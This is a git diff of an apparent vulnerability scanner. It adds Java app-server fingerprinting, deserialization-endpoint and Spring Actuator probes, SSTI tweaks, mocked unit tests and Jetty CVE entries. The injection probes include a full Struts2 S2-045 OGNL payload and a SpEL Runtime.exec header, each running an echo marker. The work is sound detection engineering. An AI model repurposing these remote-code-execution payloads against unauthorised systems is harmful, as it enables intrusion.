resp.text = "" + resp.headers = {} + if "/console/login/LoginForm.jsp" in url: + pass # 404 + elif "nonexistent_" in url: + resp.text = '

Apache Tomcat/8.5.33 - Error report

' + elif url.endswith(":7101") or url.endswith(":7101/"): + resp.ok = True + resp.status_code = 200 + resp.text = 'REST app' + resp.headers = {"Server": "Apache-Coyote/1.1"} + elif "/struts/utils.js" in url: + resp.ok = True + resp.status_code = 200 + resp.text = 'var StrutsUtils = {}; // Struts2 utilities\n' * 5 + return resp + + def fake_post(url, **kwargs): + resp = MagicMock() + resp.status_code = 404 + resp.text = "" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.post", side_effect=fake_post): + result = worker._web_test_java_servers("1.2.3.4", 7101) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("Tomcat" in t for t in titles), f"Should detect Tomcat. Got: {titles}") + self.assertTrue(any("Struts2" in t for t in titles), f"Should also detect Struts2. Got: {titles}") + + # ── Gap fix: Spring MVC via POST 405 ──────────────────────────── + + def test_spring_detected_from_post_405(self): + """Spring MVC should be detected via POST → 405 with Spring message.""" + _, worker = self._build_worker(ports=[7108]) + worker.state["scan_metadata"] = {} + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = False + resp.status_code = 404 + resp.text = "" + resp.headers = {} + if "/console/login/LoginForm.jsp" in url: + pass # 404 + elif "nonexistent_" in url: + resp.text = '

Apache Tomcat/8.5.77 - Error report

' + elif url.endswith(":7108") or url.endswith(":7108/"): + resp.ok = True + resp.status_code = 200 + resp.text = 'Hello, my name is , I am years old.' + resp.headers = {"Server": "Apache-Coyote/1.1"} + elif "/struts/utils.js" in url: + pass # 404 + return resp + + def fake_post(url, **kwargs): + resp = MagicMock() + if url.endswith(":7108") or url.endswith(":7108/"): + resp.status_code = 405 + resp.text = ("

HTTP Status 405 – Method Not Allowed

" + "

Message Request method 'POST' is not supported

" + "") + else: + resp.status_code = 404 + resp.text = "" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.post", side_effect=fake_post): + result = worker._web_test_java_servers("1.2.3.4", 7108) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("Tomcat" in t for t in titles), f"Should detect Tomcat. Got: {titles}") + self.assertTrue(any("Spring" in t for t in titles), f"Should detect Spring MVC via POST 405. Got: {titles}") + + # ── Gap fix: Spring4Shell with 400/500 second check ───────────── + + def test_spring4shell_detected_with_binding_error(self): + """Spring4Shell should be detected when URLs[0] returns 400 (type error).""" + _, worker = self._build_worker(ports=[7108]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + resp.text = "App" + resp.headers = {"Content-Type": "text/html"} + if "class.module.classLoader.DefaultAssertionStatus" in url: + resp.status_code = 200 # Spring accepted classLoader binding + elif "class.module.classLoader.URLs" in url: + resp.status_code = 400 # Type conversion error — binding attempted + resp.text = "Bad Request" + elif "/actuator" in url: + resp.status_code = 404 + resp.ok = False + resp.text = "" + return resp + + def fake_post(url, **kwargs): + resp = MagicMock() + resp.status_code = 404 + resp.text = "" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): + result = worker._web_test_spring_actuator("1.2.3.4", 7108) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("Spring4Shell" in t for t in titles), f"Should detect Spring4Shell via binding error. Got: {titles}") + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -6586,4 +7144,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestDetectionGapFixes)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch2GapFixes)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch3GapFixes)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch4JavaGapFixes)) runner.run(suite) diff --git a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py index 573480b1..f80c9f34 100644 --- a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py @@ -802,6 +802,303 @@ def _web_test_verbose_errors(self, target, port): return probe_result(findings=findings_list) + # ── Java Application Server fingerprinting ────────────────────────── + + _JAVA_SERVER_EOL = { + "JBoss AS": {"5": "2012", "6": "2016"}, + } + + def _web_test_java_servers(self, target, port): + """ + Detect and version-check Java application servers and frameworks: + WebLogic, Tomcat, JBoss/WildFly, Struts2, Spring. + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + raw = {"java_server": None, "version": None, "framework": None} + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + # --- 1. WebLogic detection --- + weblogic_version = None + # Console login page + try: + resp = requests.get(base_url + "/console/login/LoginForm.jsp", timeout=4, verify=False, allow_redirects=True) + if resp.ok and "WebLogic" in resp.text: + raw["java_server"] = "WebLogic" + ver_m = _re.search(r'(?:WebLogic Server|footerVersion)[^0-9]*(\d+\.\d+\.\d+\.\d+)', resp.text) + if ver_m: + weblogic_version = ver_m.group(1) + else: + weblogic_version = "unknown" + except Exception: + pass + # T3/IIOP banner on root (some WebLogic instances) + if not weblogic_version: + try: + resp = requests.get(base_url, timeout=3, verify=False) + if resp.ok: + # Check for WebLogic error page patterns + if "WebLogic" in resp.text or "BEA-" in resp.text: + raw["java_server"] = "WebLogic" + weblogic_version = "unknown" + # Check X-Powered-By for Servlet/JSP versions typical of WebLogic + xpb = resp.headers.get("X-Powered-By", "") + if "Servlet" in xpb and "JSP" in xpb and not raw["java_server"]: + # Could be WebLogic or other Java server — check console + pass + except Exception: + pass + + if weblogic_version: + raw["version"] = weblogic_version + findings_list.append(Finding( + severity=Severity.MEDIUM, + title=f"WebLogic Server {weblogic_version} detected", + description=f"Oracle WebLogic Server {weblogic_version} identified on {target}:{port}.", + evidence="Detection via /console/login/LoginForm.jsp or error page.", + remediation="Restrict access to the WebLogic console; keep WebLogic patched.", + owasp_id="A05:2021", + cwe_id="CWE-200", + confidence="certain", + )) + if weblogic_version != "unknown": + findings_list += check_cves("weblogic", weblogic_version) + # Check for console exposure + try: + resp = requests.get(base_url + "/console/", timeout=3, verify=False, allow_redirects=True) + if resp.ok and ("login" in resp.text.lower() or "WebLogic" in resp.text): + findings_list.append(Finding( + severity=Severity.HIGH, + title="WebLogic admin console exposed", + description="The WebLogic administration console is accessible without IP restriction.", + evidence=f"GET {base_url}/console/ → {resp.status_code}", + remediation="Restrict console access to management network only.", + owasp_id="A01:2021", + cwe_id="CWE-306", + confidence="certain", + )) + except Exception: + pass + return probe_result(raw_data=raw, findings=findings_list) + + # --- 2. Tomcat detection --- + tomcat_version = None + try: + resp = requests.get(base_url, timeout=3, verify=False) + if resp.ok: + # Tomcat default page or error page + tc_m = _re.search(r'Apache Tomcat[/\s]*(\d+\.\d+\.\d+)', resp.text) + if tc_m: + tomcat_version = tc_m.group(1) + elif "Apache Tomcat" in resp.text: + tomcat_version = "unknown" + # Server header + srv = resp.headers.get("Server", "") + if not tomcat_version and "Tomcat" in srv: + tc_m = _re.search(r'Tomcat[/\s]*(\d+\.\d+\.\d+)', srv) + tomcat_version = tc_m.group(1) if tc_m else "unknown" + except Exception: + pass + # Try 404 page which often reveals Tomcat version + if not tomcat_version: + try: + resp = requests.get(base_url + "/nonexistent_" + _uuid.uuid4().hex[:6], timeout=3, verify=False) + tc_m = _re.search(r'Apache Tomcat[/\s]*(\d+\.\d+\.\d+)', resp.text) + if tc_m: + tomcat_version = tc_m.group(1) + except Exception: + pass + + if tomcat_version: + raw["java_server"] = "Tomcat" + raw["version"] = tomcat_version + findings_list.append(Finding( + severity=Severity.LOW, + title=f"Apache Tomcat {tomcat_version} detected", + description=f"Apache Tomcat {tomcat_version} identified on {target}:{port}.", + evidence="Detection via default page, error page, or Server header.", + remediation="Keep Tomcat updated; remove default applications.", + confidence="certain", + )) + if tomcat_version != "unknown": + findings_list += check_cves("tomcat", tomcat_version) + # Manager app exposure + for mgr_path in ["/manager/html", "/manager/status"]: + try: + resp = requests.get(base_url + mgr_path, timeout=3, verify=False) + if resp.status_code in (200, 401, 403): + findings_list.append(Finding( + severity=Severity.HIGH if resp.status_code == 200 else Severity.MEDIUM, + title=f"Tomcat Manager accessible: {mgr_path}", + description=f"Tomcat Manager at {mgr_path} returned {resp.status_code}.", + evidence=f"GET {base_url}{mgr_path} → {resp.status_code}", + remediation="Remove or restrict Tomcat Manager in production.", + owasp_id="A01:2021", + cwe_id="CWE-306", + confidence="certain", + )) + break + except Exception: + pass + # Do NOT return — frameworks (Spring, Struts2) often run on Tomcat + + # --- 3. JBoss / WildFly detection --- + jboss_version = None + try: + resp = requests.get(base_url, timeout=3, verify=False) + xpb = resp.headers.get("X-Powered-By", "") + jb_m = _re.search(r'JBossAS[- ]*(\d+)', xpb) + if jb_m: + jboss_version = jb_m.group(1) + ".0" + raw["java_server"] = "JBoss AS" + elif "JBoss" in xpb or "WildFly" in xpb: + jboss_version = "unknown" + raw["java_server"] = "JBoss/WildFly" + # Check for JBoss welcome page + if not jboss_version and resp.ok: + if "JBoss" in resp.text or "WildFly" in resp.text: + jb_m = _re.search(r'(?:JBoss|WildFly)[/\s]*(\d+\.\d+\.\d+)', resp.text) + jboss_version = jb_m.group(1) if jb_m else "unknown" + raw["java_server"] = "JBoss" if "JBoss" in resp.text else "WildFly" + except Exception: + pass + + if jboss_version: + raw["version"] = jboss_version + findings_list.append(Finding( + severity=Severity.LOW, + title=f"{raw['java_server']} {jboss_version} detected", + description=f"{raw['java_server']} {jboss_version} identified on {target}:{port}.", + evidence=f"Detection via X-Powered-By header or welcome page.", + remediation="Keep application server updated; restrict management interfaces.", + confidence="certain", + )) + # EOL check + if jboss_version != "unknown" and raw["java_server"] == "JBoss AS": + major = jboss_version.split(".")[0] + eol_date = self._JAVA_SERVER_EOL.get("JBoss AS", {}).get(major) + if eol_date: + findings_list.append(Finding( + severity=Severity.HIGH, + title=f"JBoss AS {jboss_version} is end-of-life (EOL since {eol_date})", + description=f"JBoss AS {jboss_version} no longer receives security patches.", + evidence=f"Version: {jboss_version}, EOL: {eol_date}", + remediation="Migrate to WildFly or JBoss EAP.", + owasp_id="A06:2021", + cwe_id="CWE-1104", + confidence="certain", + )) + if jboss_version != "unknown": + findings_list += check_cves("jboss", jboss_version) + # JMX console exposure + try: + resp = requests.get(base_url + "/jmx-console/", timeout=3, verify=False) + if resp.status_code in (200, 401): + findings_list.append(Finding( + severity=Severity.HIGH if resp.status_code == 200 else Severity.MEDIUM, + title="JBoss JMX console exposed", + description=f"JMX console at /jmx-console/ returned {resp.status_code}.", + evidence=f"GET {base_url}/jmx-console/ → {resp.status_code}", + remediation="Remove or restrict JMX console access.", + owasp_id="A01:2021", + cwe_id="CWE-306", + confidence="certain", + )) + except Exception: + pass + # Do NOT return — frameworks (Spring, Struts2) may run on JBoss + + # --- 4. Spring Framework detection --- + spring_detected = False + try: + resp = requests.get(base_url, timeout=3, verify=False) + body = resp.text[:10000] + # Spring Whitelabel Error Page + if "Whitelabel Error Page" in body or "Spring" in resp.headers.get("X-Application-Context", ""): + spring_detected = True + # JSESSIONID cookie (generic Java indicator) + if not spring_detected and "JSESSIONID" in resp.headers.get("Set-Cookie", ""): + raw["framework"] = "Java (JSESSIONID)" + except Exception: + pass + if not spring_detected: + try: + resp = requests.get(base_url + "/nonexistent_" + _uuid.uuid4().hex[:6], timeout=3, verify=False) + if "Whitelabel Error Page" in resp.text: + spring_detected = True + elif "org.springframework" in resp.text or "DispatcherServlet" in resp.text: + spring_detected = True + except Exception: + pass + # Spring MVC: POST to root returns 405 with Spring-specific message + if not spring_detected: + try: + resp = requests.post(base_url, data="", timeout=3, verify=False) + if resp.status_code == 405: + body = resp.text + if "Request method" in body and "not supported" in body: + spring_detected = True + except Exception: + pass + + spring_evidence = [] + if spring_detected: + raw["framework"] = "Spring" + spring_evidence.append("Spring MVC indicators detected") + findings_list.append(Finding( + severity=Severity.LOW, + title="Spring Framework detected", + description=f"Spring Framework identified on {target}:{port}.", + evidence="Whitelabel Error Page, X-Application-Context header, " + "DispatcherServlet in error page, or Spring MVC 405 response.", + remediation="Disable the default error page in production; keep Spring updated.", + confidence="certain", + )) + + # --- 5. Struts2 detection --- + struts_detected = False + struts_evidence = "" + # 5a. Check /struts/utils.js — present in all Struts2 apps using tag + try: + resp = requests.get(base_url + "/struts/utils.js", timeout=3, verify=False) + if resp.ok and len(resp.text) > 50: + struts_detected = True + struts_evidence = "/struts/utils.js present" + except Exception: + pass + # 5b. Check homepage for .action/.do URLs or Struts indicators + if not struts_detected: + try: + resp = requests.get(base_url, timeout=3, verify=False) + body = resp.text[:10000] + struts_indicators = [".action", ".do", "struts", "Struts Problem Report"] + if any(ind in body for ind in struts_indicators): + struts_detected = True + struts_evidence = ".action/.do URLs or Struts indicators in page" + except Exception: + pass + if struts_detected: + raw["framework"] = "Struts2" + findings_list.append(Finding( + severity=Severity.LOW, + title="Apache Struts2 framework detected", + description=f"Struts2 indicators found on {target}:{port}.", + evidence=f"Detection via {struts_evidence}.", + remediation="Keep Struts2 updated; review OGNL injection mitigations.", + confidence="firm", + )) + + return probe_result(raw_data=raw, findings=findings_list) + # ── A08:2021 / A06:2021 — JS library version detection ───────────── _JS_LIB_PATTERNS = [ diff --git a/extensions/business/cybersec/red_mesh/web_injection_mixin.py b/extensions/business/cybersec/red_mesh/web_injection_mixin.py index 87361334..779abfe0 100644 --- a/extensions/business/cybersec/red_mesh/web_injection_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_injection_mixin.py @@ -362,10 +362,10 @@ def _web_test_ssti(self, target, port): base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" ssti_payloads = [ - ("{{7*7}}", "49", "Jinja2/Twig"), + ("{{71*73}}", "5183", "Jinja2/Twig"), ("{{7*'7'}}", "7777777", "Jinja2"), - ("${7*7}", "49", "Freemarker/Mako"), - ("<%= 7*7 %>", "49", "ERB/EJS"), + ("${79*67}", "5293", "Freemarker/Mako"), + ("<%= 71*73 %>", "5183", "ERB/EJS"), ] params = ["name", "q", "search", "input", "text", "template", "page", "id"] @@ -387,9 +387,17 @@ def _web_test_ssti(self, target, port): if expected in baseline_text: continue try: + # For short expected values (e.g. "49"), bracket the payload with + # two control requests to catch incrementing counters/timestamps + if len(expected) <= 3: + ctrl1 = requests.get(f"{base_url}?{param}=harmless1", timeout=3, verify=False) url = f"{base_url}?{param}={quote(payload)}" resp = requests.get(url, timeout=3, verify=False) if expected in resp.text and payload not in resp.text: + if len(expected) <= 3: + ctrl2 = requests.get(f"{base_url}?{param}=harmless2", timeout=3, verify=False) + if expected in ctrl1.text or expected in ctrl2.text: + continue findings_list.append(Finding( severity=Severity.CRITICAL, title=f"SSTI ({engine}) via ?{param}= parameter", @@ -614,6 +622,383 @@ def _web_test_php_cgi(self, target, port): return probe_result(findings=findings_list) + # ── OGNL Injection (Struts2) ───────────────────────────────────────── + + def _web_test_ognl_injection(self, target, port): + """ + Test for Apache Struts2 OGNL injection via Content-Type header (S2-045) + and other known Struts2 attack vectors. + + Safe detection: uses math expression that produces a unique marker + without side effects. + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + # S2-045: OGNL injection via Content-Type header + # The payload evaluates a math expression; if Struts2 processes it, + # the error message will contain the evaluated result + marker = "167837218" # 12969 * 12942 + ognl_payload = ( + "%{(#_='multipart/form-data')." + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + "(#_memberAccess?(#_memberAccess=#dm):" + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + "(#ognlUtil.getExcludedPackageNames().clear())." + "(#ognlUtil.getExcludedClasses().clear())." + "(#context.setMemberAccess(#dm))))." + "(#cmd='echo " + marker + "')." + "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." + "(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd}))." + "(#p=new java.lang.ProcessBuilder(#cmds))." + "(#p.redirectErrorStream(true)).(#process=#p.start())." + "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." + "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." + "(#ros.flush())}" + ) + + # Try against common Struts2 action paths + struts_paths = ["/", "/index.action", "/login.action", "/showcase.action", + "/orders/3", "/orders"] + for path in struts_paths: + if findings_list: + break + try: + url = base_url.rstrip("/") + path + resp = requests.get( + url, + headers={"Content-Type": ognl_payload}, + timeout=5, + verify=False, + ) + if marker in resp.text: + findings_list.append(Finding( + severity=Severity.CRITICAL, + title=f"CVE-2017-5638: Struts2 S2-045 OGNL injection RCE via {path}", + description="Apache Struts2 evaluates OGNL expressions injected via " + "the Content-Type header, enabling unauthenticated RCE.", + evidence=f"GET {url} with OGNL payload in Content-Type " + f"returned marker '{marker}' in response body.", + remediation="Upgrade Struts2 to >= 2.5.10.1 or >= 2.3.32.", + owasp_id="A03:2021", + cwe_id="CWE-94", + confidence="certain", + )) + except Exception: + pass + + # S2-045 alternative: check if Struts returns OGNL error in response + # (indicates vulnerable parser even if execution is sandboxed) + if not findings_list: + for path in struts_paths[:3]: + try: + url = base_url.rstrip("/") + path + resp = requests.get( + url, + headers={"Content-Type": "%{1+1}"}, + timeout=4, + verify=False, + ) + if resp.status_code == 200 and "ognl" in resp.text.lower(): + findings_list.append(Finding( + severity=Severity.HIGH, + title=f"Struts2 OGNL parsing detected via {path}", + description="Struts2 attempted to parse OGNL expression in " + "Content-Type header. May be exploitable for RCE.", + evidence=f"GET {url} with Content-Type: %{{1+1}} " + "returned OGNL-related content.", + remediation="Upgrade Struts2; apply S2-045 patch.", + owasp_id="A03:2021", + cwe_id="CWE-94", + confidence="firm", + )) + break + except Exception: + pass + + return probe_result(findings=findings_list) + + + # ── Java Deserialization endpoints ───────────────────────────────── + + def _web_test_java_deserialization(self, target, port): + """ + Detect exposed Java deserialization endpoints: + - WebLogic wls-wsat / iiop_wsat + - JBoss /invoker/readonly + - JBoss /jmx-console/ + - Spring Boot /jolokia + + Does NOT send actual deserialization payloads — only probes for + endpoint existence (safe detection). + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + deser_endpoints = [ + { + "path": "/wls-wsat/CoordinatorPortType", + "product": "WebLogic", + "cve": "CVE-2017-10271", + "check": lambda resp: resp.status_code == 200 and ("CoordinatorPortType" in resp.text or "xml" in resp.headers.get("Content-Type", "").lower()), + "desc": "WebLogic wls-wsat endpoint exposed — attack surface for " + "XMLDecoder deserialization RCE (CVE-2017-10271).", + }, + { + "path": "/_async/AsyncResponseService", + "product": "WebLogic", + "cve": "CVE-2019-2725", + "check": lambda resp: resp.status_code in (200, 500) and ("AsyncResponseService" in resp.text or "xml" in resp.headers.get("Content-Type", "").lower()), + "desc": "WebLogic _async endpoint exposed — attack surface for " + "deserialization RCE (CVE-2019-2725).", + }, + { + "path": "/invoker/readonly", + "product": "JBoss", + "cve": "CVE-2017-12149", + "check": lambda resp: resp.status_code == 500, + "desc": "JBoss /invoker/readonly returns 500, indicating the " + "deserialization endpoint exists (CVE-2017-12149).", + }, + { + "path": "/invoker/JMXInvokerServlet", + "product": "JBoss", + "cve": None, + "check": lambda resp: resp.status_code in (200, 500), + "desc": "JBoss JMXInvokerServlet exposed — Java deserialization attack surface.", + }, + ] + + for ep in deser_endpoints: + try: + url = base_url.rstrip("/") + ep["path"] + resp = requests.get(url, timeout=4, verify=False) + if ep["check"](resp): + title = f"Java deserialization endpoint: {ep['path']}" + if ep["cve"]: + title = f"{ep['cve']}: {ep['product']} deserialization endpoint {ep['path']}" + findings_list.append(Finding( + severity=Severity.CRITICAL if ep["cve"] else Severity.HIGH, + title=title, + description=ep["desc"], + evidence=f"GET {url} → {resp.status_code}", + remediation=f"Remove or restrict access to {ep['path']}; " + f"upgrade {ep['product']}.", + owasp_id="A08:2021", + cwe_id="CWE-502", + confidence="firm", + )) + except Exception: + pass + + return probe_result(findings=findings_list) + + + # ── Spring Actuator & SpEL injection ─────────────────────────────── + + def _web_test_spring_actuator(self, target, port): + """ + Detect Spring Boot Actuator exposure and Spring Cloud Function SpEL injection. + + Tests: + 1. Actuator endpoints (/actuator, /actuator/env, /actuator/health, /env) + 2. Spring Cloud Function CVE-2022-22963 (SpEL via spring.cloud.function.routing-expression) + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + # --- 1. Actuator endpoints --- + actuator_paths = [ + ("/actuator", "Actuator root — lists available endpoints"), + ("/actuator/env", "Environment dump — may contain secrets"), + ("/actuator/health", "Health check — reveals internal state"), + ("/actuator/beans", "Bean listing — reveals application structure"), + ("/actuator/configprops", "Configuration properties — may contain secrets"), + ("/actuator/mappings", "URL mappings — reveals all API endpoints"), + ("/env", "Legacy Spring Boot environment endpoint"), + ("/jolokia", "Jolokia JMX-over-HTTP — RCE risk via MBean manipulation"), + ] + + for path, desc in actuator_paths: + try: + url = base_url.rstrip("/") + path + resp = requests.get(url, timeout=3, verify=False) + if resp.status_code == 200: + # Validate it's actually an actuator/Spring endpoint + ct = resp.headers.get("Content-Type", "").lower() + body = resp.text[:2000] + if "json" in ct or "actuator" in body.lower() or "{" in body[:10]: + sev = Severity.HIGH + if path in ("/actuator/health",): + sev = Severity.MEDIUM + if "jolokia" in path: + sev = Severity.CRITICAL + findings_list.append(Finding( + severity=sev, + title=f"Spring Actuator exposed: {path}", + description=desc, + evidence=f"GET {url} → {resp.status_code}, Content-Type: {ct}", + remediation="Restrict actuator endpoints via security config; " + "disable sensitive endpoints in production.", + owasp_id="A05:2021", + cwe_id="CWE-215", + confidence="certain", + )) + except Exception: + pass + + # --- 2. CVE-2022-22963: Spring Cloud Function SpEL injection --- + marker = "REDMESH_SPEL_9183" + try: + # First, check if /functionRouter exists at all (baseline without SpEL header) + baseline_resp = requests.post( + base_url + "/functionRouter", + data="test", + headers={"Content-Type": "application/x-www-form-urlencoded"}, + timeout=5, + verify=False, + ) + # Now send with SpEL header + resp = requests.post( + base_url + "/functionRouter", + data="test", + headers={ + "Content-Type": "application/x-www-form-urlencoded", + "spring.cloud.function.routing-expression": + f'T(java.lang.Runtime).getRuntime().exec("echo {marker}")', + }, + timeout=5, + verify=False, + ) + spel_detected = False + confidence = "firm" + evidence_detail = "" + # Check 1: explicit SpEL error in response + if resp.status_code == 500 and ("SpelEvaluationException" in resp.text or + "EvaluationException" in resp.text or + "routing-expression" in resp.text): + spel_detected = True + evidence_detail = "SpEL error in response body" + # Check 2: marker in response (actual execution) + elif resp.status_code == 500 and marker in resp.text: + spel_detected = True + confidence = "certain" + evidence_detail = f"marker '{marker}' in response" + # Check 3: /functionRouter returns 500 with SpEL header but different + # status without it — indicates the header was processed + elif (resp.status_code == 500 and + baseline_resp.status_code != 500 and + baseline_resp.status_code in (200, 404)): + spel_detected = True + evidence_detail = (f"500 with SpEL header vs {baseline_resp.status_code} " + "without — header was processed") + # Check 4: both return 500 but the endpoint exists (not a generic 404) + elif (resp.status_code == 500 and baseline_resp.status_code == 500): + # Both fail, but endpoint exists — likely Spring Cloud Function + # with routing that crashes on the SpEL expression + spel_detected = True + confidence = "tentative" + evidence_detail = "both requests return 500 — endpoint exists and processes routing" + + if spel_detected: + findings_list.append(Finding( + severity=Severity.CRITICAL, + title="CVE-2022-22963: Spring Cloud Function SpEL injection RCE", + description="Spring Cloud Function evaluates SpEL expressions from the " + "spring.cloud.function.routing-expression header, enabling RCE.", + evidence=f"POST {base_url}/functionRouter with SpEL header → " + f"{resp.status_code}. {evidence_detail}", + remediation="Upgrade Spring Cloud Function to >= 3.1.7 or >= 3.2.3.", + owasp_id="A03:2021", + cwe_id="CWE-94", + confidence=confidence, + )) + except Exception: + pass + + # --- 3. Spring4Shell indicator: check if class.module access is possible --- + # Safe detection: send parameter that would trigger Spring4Shell but + # only look for error patterns, not actual exploitation + try: + resp = requests.get( + base_url + "/?class.module.classLoader.DefaultAssertionStatus=true", + timeout=3, + verify=False, + ) + # If this returns 200 (not 400), the classLoader parameter binding may work + if resp.status_code == 200: + # Double-check with a known-bad parameter + resp2 = requests.get( + base_url + "/?class.module.classLoader.URLs%5B0%5D=0", + timeout=3, + verify=False, + ) + if resp2.status_code == 200: + findings_list.append(Finding( + severity=Severity.HIGH, + title="Spring4Shell (CVE-2022-22965) parameter binding indicator", + description="Spring MVC accepts class.module.classLoader parameter " + "binding, which is the attack surface for Spring4Shell RCE.", + evidence=f"GET with class.module.classLoader parameter → 200, " + f"URLs[0] → {resp2.status_code}.", + remediation="Upgrade Spring Framework to >= 5.3.18 or >= 5.2.20.", + owasp_id="A03:2021", + cwe_id="CWE-94", + confidence="tentative", + )) + elif resp2.status_code in (400, 500): + # 400/500 = Spring tried to bind classLoader but failed on type + # conversion — stronger evidence than silent acceptance + findings_list.append(Finding( + severity=Severity.HIGH, + title="Spring4Shell (CVE-2022-22965) parameter binding indicator", + description="Spring MVC processes class.module.classLoader parameter " + "binding (type error on URLs[0]), confirming Spring4Shell " + "attack surface.", + evidence=f"GET with class.module.classLoader → 200, " + f"URLs[0] → {resp2.status_code} (binding attempted).", + remediation="Upgrade Spring Framework to >= 5.3.18 or >= 5.2.20.", + owasp_id="A03:2021", + cwe_id="CWE-94", + confidence="firm", + )) + except Exception: + pass + + return probe_result(findings=findings_list) + + # ── A04:2021 — IDOR indicators ────────────────────────────────────── _IDOR_PATHS = [ From 566986f36210a82e4e1c2be6d7883ceed7bda848 Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 20:04:35 +0000 Subject: [PATCH 030/114] fix: detected services count calculation --- .../business/cybersec/red_mesh/pentester_api_01.py | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index edf09125..05118c3d 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1487,7 +1487,7 @@ def parse_port(port_key): return risk_result, flat_findings def _count_services(self, service_info): - """Count unique service types across all ports. + """Count ports that have at least one identified service. Parameters ---------- @@ -1497,16 +1497,15 @@ def _count_services(self, service_info): Returns ------- int - Number of unique service types (probe names). + Number of ports with detected services. """ - services = set() if not isinstance(service_info, dict): return 0 + count = 0 for port_key, probes in service_info.items(): - if isinstance(probes, dict): - for probe_name in probes: - services.add(probe_name) - return len(services) + if isinstance(probes, dict) and len(probes) > 0: + count += 1 + return count SEVERITY_ORDER = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3, "INFO": 4} CONFIDENCE_ORDER = {"certain": 0, "firm": 1, "tentative": 2} From 7ca534f42d6e923e1c4374cfe4be5a78b8ec6ea1 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 9 Mar 2026 00:39:50 +0000 Subject: [PATCH 031/114] fix: add jetty | fix CVE findings --- .../business/cybersec/red_mesh/cve_db.py | 6 + .../cybersec/red_mesh/pentester_api_01.py | 46 ++++ .../cybersec/red_mesh/test_redmesh.py | 249 +++++++++++++++++- .../cybersec/red_mesh/web_discovery_mixin.py | 57 ++++ .../cybersec/red_mesh/web_injection_mixin.py | 52 +++- 5 files changed, 402 insertions(+), 8 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/cve_db.py b/extensions/business/cybersec/red_mesh/cve_db.py index 965b833b..402d0414 100644 --- a/extensions/business/cybersec/red_mesh/cve_db.py +++ b/extensions/business/cybersec/red_mesh/cve_db.py @@ -200,6 +200,12 @@ class CveEntry: CveEntry("spring_cloud_function", ">=3.0.0,<3.1.7", "CVE-2022-22963", Severity.CRITICAL, "SpEL injection via routing header RCE", "CWE-94"), CveEntry("spring_cloud_function", ">=3.2.0,<3.2.3", "CVE-2022-22963", Severity.CRITICAL, "SpEL injection via routing header RCE", "CWE-94"), + # ── Eclipse Jetty ───────────────────────────────────────────── + CveEntry("jetty", ">=9.4.0,<9.4.52", "CVE-2023-26048", Severity.MEDIUM, "Request large content denial-of-service via multipart", "CWE-400"), + CveEntry("jetty", ">=9.4.0,<9.4.52", "CVE-2023-26049", Severity.MEDIUM, "Cookie parsing allows exfiltration of HttpOnly cookies", "CWE-200"), + CveEntry("jetty", ">=9.4.0,<9.4.54", "CVE-2023-36478", Severity.HIGH, "HTTP/2 HPACK integer overflow leads to buffer overflow", "CWE-190"), + CveEntry("jetty", ">=9.4.0,<9.4.51", "CVE-2023-40167", Severity.MEDIUM, "HTTP request smuggling via invalid Transfer-Encoding", "CWE-444"), + # ── BIND (DNS) ────────────────────────────────────────────────── 